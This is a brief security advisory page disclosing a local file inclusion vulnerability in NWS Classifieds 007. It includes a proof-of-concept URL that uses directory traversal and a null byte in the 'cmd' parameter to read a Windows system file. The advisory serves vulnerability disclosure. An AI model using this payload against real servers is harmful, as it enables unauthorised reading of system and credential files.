Home
Consulting
Advisories
Software
Articles
Contact

NWS Classifieds 007 Local File Inclusion

Legacy Advisories

Description

A local file inclusion vulnerability in NWS Classifieds 007 can be exploited to include arbitrary files.

Proof Of Concept

http://localhost/nws_classifieds007/index.php?cmd=../../../../../../../../windows/system.ini%00


Copyright © 2018 AutoSec Tools LLC